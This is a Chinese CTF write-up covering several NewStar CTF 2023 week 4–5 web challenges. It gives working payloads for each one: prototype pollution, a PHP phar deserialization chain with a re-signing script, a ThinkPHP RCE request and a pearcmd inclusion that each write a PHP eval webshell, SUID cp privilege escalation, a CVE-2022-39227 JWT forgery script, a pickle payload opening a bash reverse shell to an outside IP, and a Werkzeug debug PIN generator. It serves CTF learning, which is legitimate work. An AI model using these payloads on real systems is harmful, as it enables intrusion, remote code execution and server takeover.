NewStar CTF 2023

前几周的新生赛还是非常简单的,个人感觉写起来没啥压力,week4开始的题目逐渐开始变的。。。 把我骗进来杀,校内赛道的第五周,那更加是一个一个(一个一个什么啊恼)。

下面是一点点自己的小思路,希望各位大佬轻喷

1.week4 OtenkiBoy

真的是新生赛吗

info.js里面的getinfo函数里面有这样的查询语句

1
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });

可以看到查询语句还是这样,类似week3的最后一题,我们需要将查询的时间提前,这样就可以查询到较早时间写入的flag

需要修改这里的timestamp

1
timestamp = Math.max(timestamp, minTimestamp);

这里的mintimestamp为timestamp设置了一个下限,显然需要污染这个值才能修改timestamp

现在我们需要去寻找污染的起点

在submit.js里面看到

1
const result = await insert2db(mergeJSON(DEFAULT, data));

这里用了一个mergeJSON函数,week3里面是不一样的,进去看看

1
2
3
4
5
6
7
8
9
10
11
12
const mergeJSON = function (target, patch, deep = false) {
if (typeof patch !== "object") return patch;
if (Array.isArray(patch)) return patch; // do not recurse into arrays
if (!target) target = {}
if (deep) { target = copyJSON(target), patch = copyJSON(patch); }
for (let key in patch) {
if (key === "__proto__") continue;
if (target[key] !== patch[key])
target[key] = mergeJSON(target[key], patch[key]);
}
return target;
}

ok,这里把proto给过滤了,紫砂(bushi)

绕过方法就是使用constructor.prototype

这里不能拼接,因为最后在解析的时候会被还原成proto,这就寄了

1
2
console.log("pr"+"o"==="pro");
//输出true

ok,现在就找注入谁了(喜)

在info.js里面看,发现getinfo里面调用了一个函数createDate

1
2
3
4
5
6
7
8
try {
minTimestamp = createDate(CONFIG.min_public_time).getTime();
if (!Number.isSafeInteger(minTimestamp)) throw new Error("Invalid configuration min_public_time.");
} catch (e) {
console.warn(`\x1b[33m${e.message}\x1b[0m`);
console.warn(`Try using default value ${DEFAULT_CONFIG.min_public_time}.`);
minTimestamp = createDate(DEFAULT_CONFIG.min_public_time, { UTC: false, baseDate: LauchTime }).getTime();
}

进去看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const CopiedDefaultOptions = copyJSON(DEFAULT_CREATE_DATE_OPTIONS)
if (typeof opts === "undefined") opts = CopiedDefaultOptions
if (typeof opts !== "object") opts = { ...CopiedDefaultOptions, UTC: Boolean(opts) };
opts.UTC = typeof opts.UTC === "undefined" ? CopiedDefaultOptions.UTC : Boolean(opts.UTC);
opts.format = opts.format || CopiedDefaultOptions.format;
if (!Array.isArray(opts.format)) opts.format = [opts.format]
opts.format = opts.format.filter(f => typeof f === "string")
.filter(f => {
if (/yy|yyyy|MM|dd|HH|mm|ss|fff/.test(f) === false) {
console.warn(`Invalid format "${f}".`, `At least one format specifier is required.`);
return false;
}
if (`|${f}|`.replace(/yyyy/g, "yy").split(/yy|MM|dd|HH|mm|ss|fff/).includes("")) {
console.warn(`Invalid format "${f}".`, `Delimeters are required between format specifiers.`);
return false;
}
if (f.includes("yyyy") && f.replace(/yyyy/g, "").includes("yy")) {
console.warn(`Invalid format "${f}".`, `"yyyy" and "yy" cannot be used together.`);
return false;
}
return true;
})
opts.baseDate = new Date(opts.baseDate || Date.now());

在 JavaScript 中,当你访问一个对象的属性时,如果这个属性在对象本身上不存在,JavaScript 将会在原型链中查找该属性

假设这里的opts里面没有这个属性

1
opts.baseDate = new Date(opts.baseDate || Date.now());

这里就会触发原型链

显然在函数里面,CONFIG.min_public_time没有这个参数

继续看这个类,看到下面的函数里面

1
const { HH, mm, ss, fff } = getHMS(time_str)

进入这个函数看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const getHMS = (time) => {
let regres = /^(\d+) *\: *(\d+)( *\: *(\d+)( *\. *(\d+))?)?$/.exec(time.trim())
if (regres === null) return {}
let [n1, n2, n3, n4] = [regres[1], regres[2], regres[4], regres[6]].map(t => typeof t === "undefined" ? undefined : Number(t));
if (typeof n3 === "undefined") n3 = 0; // 23:59(:59)?
if (0 <= n1 && n1 <= 23 && 0 <= n2 && n2 <= 59 && 0 <= n3 && n3 <= 59) {
// 23:59:59(.999)?
let HH = pad(n1, 2), mm = pad(n2, 2), ss = pad(n3, 2),
fff = typeof n4 === "undefined" ? undefined : pad(n4, 3).substring(0, 3);
const o = { HH, mm, ss }
if (typeof fff !== "undefined") o.fff = fff;
return o;
} else return {}
}

这里有几个注释,就是告诉我们不传入一些23:59:59(.999)?,就会返回毫秒这个属性

ok,后面代码审计哥们就吃不消了,接下来对着wp复现

1
2
3
4
5
6
sortTable.forEach((f, i) => {
if (f == "yy") {
let year = Number(regres[i + 1])
year = year < 100 ? (1900 + year) : year;
return argTable["yyyy"] = year;
}

这个函数告诉我们,这里支持yy操作符,

wp原话

年份小于100时,我们认为是20世纪的年份

举例来说,如果format20yy-MM-dd,在format解析字符串2023-10-01时,将解析yy23,输出输出为1923,最终输出的年份是1923-10-01

这里我只要传入一个2023这种数据,就可以把时间污染的很远

看到在default.js里面,满足我需要的数据条件

接下来就是触发

1
2
3
4
5
6
7
8
try {
minTimestamp = createDate(CONFIG.min_public_time).getTime();
if (!Number.isSafeInteger(minTimestamp)) throw new Error("Invalid configuration min_public_time.");
} catch (e) {
console.warn(`\x1b[33m${e.message}\x1b[0m`);
console.warn(`Try using default value ${DEFAULT_CONFIG.min_public_time}.`);
minTimestamp = createDate(DEFAULT_CONFIG.min_public_time, { UTC: false, baseDate: LauchTime }).getTime();
}

这里如果报错就可以执行下一句649从

现在就是要让他报错

看到这里,显然这里不能报错抛出

1
2
if (Number.isSafeInteger(d.getTime())) return d;
else continue;

ok,进入Fallback Auto Detection

这里就可以触发了

ok现在再梳理一下

1
2
3
4
5
由于basedata不存在,这里就存在原型链污染,污染成一个非法的值
这样就会触发Fallback Auto Detection,
由于fff不存在,我们如果传入了一个非法的fff就会报错
抛出进入catch
就会调用DEFAULT_CONFIG.min_public_time这个数据

显然这个数据里面也没有值

就可以原型链污染一个过去的数据

发包,访问就好了

2.week5 Unserialize Again

f12告诉我这里不是上传的接口

告诉我pairing.php,访问得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $pass;
public $eating;
public $God='false';
public function __wakeup(){
$this->user='human';
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
}
}
public function __construct(){
$this->user='AshenOne';
$this->eating='fire';
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
echo '多吃雪梨';
} 多吃雪梨

非预期

注意到

1
2
3
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);

这里可以直接上传一句话

file写入一句话,pear是文件的名字,这里按下不表

预期

这里用了file_exists函数,存在phar反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class story{
private $user='admin';
public $eating ='cat /f*';
public $God='true';
}
$phar =new Phar("1.phar");
$phar->startBuffering();
$phar->setstub("<php __HALT_COMPILER();?>");
$o=new story();
$phar->setMetadata($o);
$phar->addFromstring("test.txt","test");
$phar->stopBuffering();

这里需要绕过wakeup,直接修改成员类属性

然后重新计算签名

1
2
3
4
5
6
from hashlib import sha1
f = open('./buu.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('buu2.phar', 'wb').write(newf) # 写入新文件

get发包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /pairing.php?pear=buu2.phar&apple=phar://buu2.phar HTTP/1.1
Host: fdfe7f31-ddc2-48f3-9bb0-31dc6c6be212.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://fdfe7f31-ddc2-48f3-9bb0-31dc6c6be212.node4.buuoj.cn:81/pairing.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
DNT: 1
Content-Length: 485

%3Cphp%20__HALT_COMPILER%28%29%3B%20%3F%3E%0Av%00%00%00%01%00%00%00%11%00%00%00%01%00%00%00%00%00%40%00%00%00O%3A5%3A%22story%22%3A3%3A%7Bs%3A6%3A%22eating%22%3Bs%3A7%3A%22cat%20/f%2A%22%3Bs%3A3%3A%22God%22%3Bs%3A4%3A%22true%22%3B%7D%08%00%00%00test.txt%04%00%00%00%EF%BF%BD%EF%BF%BDHe%04%00%00%00%0C~%7F%D8%B6%01%00%00%00%00%00%00test7%EF%BF%BD%EF%BF%BD%EF%BF%BD%0A%14%EF%BF%BDB5m1%EF%BF%BDh%EF%BF%BD-H%21%EF%BF%BD%7FB1%E6%D2S%2BL%F4%F7%FBw%91%24%B9%D6%A8%28%8F%C7F%84%03%00%00%00GBMB

3week 5 Final

这里是一个thinkphp 的漏洞,看phpinfo看到过滤了system()函数

这里换成exec去打就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php?s=captcha HTTP/1.1
Host: 5b4c8cdc-8fba-4555-bf2c-bc2ee9c77164.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Origin: http://5b4c8cdc-8fba-4555-bf2c-bc2ee9c77164.node4.buuoj.cn:81
Connection: close
Referer: http://5b4c8cdc-8fba-4555-bf2c-bc2ee9c77164.node4.buuoj.cn:81/public/1.php
Upgrade-Insecure-Requests: 1

_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=
echo%20'<?php%20eval($_POST['a']);?>'%20>%20/var/www/public/1.php

根目录下的flag不能直接读取,发现cp有suid权限直接

1
2
3
cp /bin/sh /bin/cp
cp
> cat /f*

也可以

1
2
cp /f* /etc/passwd
cat /etc/passwd

4.week5 NextDrive

秒传是什么

秒传“的手段是通过客户端软件从文件中获取一个特征值,然后在服务器上保存所有数据的特征值进行比较。如果有重复的,就无需再上传数据。

这里没啥思路,看到一个奇怪的文件test.res.http,下载下来分析看看

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
content-type: application/json; charset=utf-8
content-length: 50
date: Tue, 06 Oct 2023 13:39:21 GMT
connection: keep-alive
keep-alive: timeout=5

{"code":0,"msg":"success","logged":true,"data":[{"name":"すずめ feat.十明 - RADWIMPS,十明.flac","hash":"5da3818f2b481c261749c7e1e4042d4e545c1676752d6f209f2e7f4b0b5fd0cc","size":27471829,"uploader":"admin","uploader_uid":"100000","shareTime":1699272741553,"isYours":true,"isOwn":true,"ownFn":"すずめ feat.十明 - RADWIMPS,十明.flac"}
,{"name":"Windows 12 Concept.png","hash":"469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900","size":440707,"uploader":"admin","uploader_uid":"100000","shareTime":1699272743946,"isYours":true,"isOwn":true,"ownFn":"Windows 12 Concept.png"}
,{"name":"信息安全技术信息安全事件分类分级指南.pdf","hash":"03dff115bc0d6907752796fc808fe2ef0b4ea9049b5a92859fd7017d4e96c08f","size":330767,"uploader":"admin","uploader_uid":"100000","shareTime":1699272744002,"isYours":true,"isOwn":true,"ownFn":"信息安全技术信息安全事件分类分级指南.pdf"}
,{"name":"不限速,就是快!.jpg","hash":"2de8696b9047f5cf270f77f4f00756be985ebc4783f3c553a77c20756bc68f2e","size":32920,"uploader":"admin","uploader_uid":"100000","shareTime":1699272744097,"isYours":true,"isOwn":true,"ownFn":"不限速,就是快!.jpg"},

{"name":"test.req.http","hash":"9ed5db888725e98783ff1ef7f1c5d5f7887498c654b1e926ec3facef68e336bc","size":1085,"uploader":"admin","uploader_uid":"100000","shareTime":1699272747566,"isYours":true,"isOwn":true,"ownFn":"test.req.http"}]}

注意到上传了一个这东西

test.req.http比赛的时候没发现我去

用这个hash去上传看看,能下载啥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /api/info/drive/sharezone HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: uid=100000; token=eyJ1c2VybmFtZSI6ImFkbWluIiwidWlkIjoiMTAwMDAwIiwidG9rZW4iOiJkOTMxMjEwMDlmZGIwOTQ1ODExMTliNTg5YWFjNGNjMGU1Y2RhYTQ3OTU2NjI2ZjYyOTgxZjZkMzhjNjMyN2U1In0uNgIOTBxQKglDbGAhWhFdXg.dzkOex4ZYV19XXBnM0cHCXQ/BXkZHmoMKlpxMTATBV0hagV5GU5nUnwMJWtnEwBacjgOL0weZll4DXFiMUMHWX1sVCpOSWtYeF8jN2UeVQkha1V7GR9nCSlfdGFmR1MMJDpVKkpKMVIsX3A1Mx9XAXc9Vn5PTDcMeF53ZWsfUVk
Host: localhost:21920
Origin: http://localhost:21920
Pragma: no-cache
Referer: http://localhost:21920/sharezone
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
sec-ch-ua: "Microsoft Edge";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

可以看到这是一个admin的分享链接,可以用这个里面的cookie去伪造身份

成功,看到了御坂御坂给我的一封信呜呜呜

下载得到附件share,js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
const Router = require("koa-router");
const router = new Router();
const CONFIG = require("../../runtime.config.json");
const Res = require("../../components/utils/response");
const FileSignUtil = require("../../components/utils/file-signature");
const { DriveUtil } = require("../../components/utils/database.utilities");
const fs = require("fs");
const path = require("path");
const { verifySession } = require("../../components/utils/session");
const logger = global.logger;

/**
* @deprecated
* ! FIXME: 发现漏洞,请进行修改
*/
router.get("/s/:hashfn", async (ctx, next) => {
const hash_fn = String(ctx.params.hashfn || '')
const hash = hash_fn.slice(0, 64)
const from_uid = ctx.query.from_uid
const custom_fn = ctx.query.fn

// 参数校验
if (typeof hash_fn !== "string" || typeof from_uid !== "string") {
// invalid params or query
ctx.set("X-Error-Reason", "Invalid Params");
ctx.status = 400; // Bad Request
return ctx.res.end();
}

// 是否为共享的文件
let IS_FILE_EXIST = await DriveUtil.isShareFileExist(hash, from_uid)
if (!IS_FILE_EXIST) {
ctx.set("X-Error-Reason", "File Not Found");
ctx.status = 404; // Not Found
return ctx.res.end();
}

// 系统中是否存储有该文件
let IS_FILE_EXIST_IN_STORAGE
try {
IS_FILE_EXIST_IN_STORAGE = fs.existsSync(path.resolve(CONFIG.storage_path, hash_fn))
} catch (e) {
ctx.set("X-Error-Reason", "Internal Server Error");
ctx.status = 500; // Internal Server Error
return ctx.res.end();
}
if (!IS_FILE_EXIST_IN_STORAGE) {
logger.error(`File ${hash_fn.yellow} not found in storage, but exist in database!`)
ctx.set("X-Error-Reason", "Internal Server Error");
ctx.status = 500; // Internal Server Error
return ctx.res.end();
}

// 文件名处理
let filename = typeof custom_fn === "string" ? custom_fn : (await DriveUtil.getFilename(from_uid, hash));
filename = filename.replace(/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi, "_")

// 发送
ctx.set("Content-Disposition", `attachment; filename*=UTF-8''${encodeURIComponent(filename)}`);
// ctx.body = fs.createReadStream(path.resolve(CONFIG.storage_path, hash_fn))
await ctx.sendFile(path.resolve(CONFIG.storage_path, hash_fn)).catch(e => {
logger.error(`Error while sending file ${hash_fn.yellow}`)
logger.error(e)
ctx.status = 500; // Internal Server Error
return ctx.res.end();
})
})

module.exports = router;

在这里可以看到,后端只是检验了这个文件是否存在,并没有判断hash值是否和文件相同

1
2
3
4
5
router.get("/s/:hashfn", async (ctx, next) => {
const hash_fn = String(ctx.params.hashfn || '')
const hash = hash_fn.slice(0, 64)
const from_uid = ctx.query.from_uid
const custom_fn = ctx.query.fn

这里可以直接目录穿越去读取flag

image-20231106211058346

5.week5 4-复盘

要紫砂了,哪里来的注入,还我{哭}

直接文件包含就好了

pear文件包含

1
GET /index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?>+/var/www/html/1.php

直接提权就好了

1
gzip -f /flag -t

6.Ye’s Pickle

受不了这题本来出了,传参穿错了没搞,紫砂了

源码里面看到这个是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)

def generate_random_string(length=16):
characters = string.ascii_letters + string.digits # 包含字母和数字
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():
payload=request.args.get("token")
if payload:
token=verify_jwt(payload, key, ['PS256'])
session["role"]=token[1]['role']
return render_template('index.html')
else:
session["role"]="guest"
user={"username":"boogipop","role":"guest"}
jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
return render_template('index.html',token=jwt)

@app.route("/pickle")
def unser():
if session["role"]=="admin":
pickle.loads(base64.b64decode(request.args.get("pickle")))
return render_template("index.html")
else:
return render_template("index.html")
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)

这里显然不能伪造

CVE-2022-39227

这里想到了,但是当时看了看就忙其他的去了

这个漏洞就是jwt对私钥签名 的验证不够完全,不需要公钥以及私钥就能构造出jwt的认证

用这个祥云杯的payload去打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from datetime import timedelta
from json import loads, dumps
from common import generated_keys
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['is_admin'] = 1
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode(
(dumps(parsed_payload, separators=(',', ':'))))
# print (header+ '.' +fake_payload+ '.' +signature)
# print (header+ '.' + payload+ '.' +signature)
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

originaltoken = '''给出的jwt'''

topic = topic(originaltoken)
print(topic)

然后就直接pickle打就好了

1
b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/47.120.0.245/3232 0>&1\"'\no."

7.pppython?

直接超wp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import hashlib
import time
from itertools import chain

probably_public_bits = [
"root", # /etc/passwd, /etc/shadow验证
"flask.app", # 默认值
"Flask", # 默认值
"/usr/local/lib/python3.10/dist-packages/flask/app.py", # 报错得到
]
bid = "8cab9c97-85be-4fb4-9d17-29335d7b2b8a"
did = "12:hugetlb:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod9a6962f3_0518_44b9_b39d_99b5cbdcbde2.slice/docker-5393cbb4c79037280b98e5c09ab1df1a765d545afcde1166a1af321b068488e8.scope"
did = did.strip().rpartition("/")[2]

private_bits = [
"46292774133529", # /sys/class/net/eth0/address 16进制转10进制
bid + did, # /proc/sys/kernel/random/boot_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]
num = None

if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num


def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


print(rv)
print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")

直接rce就好了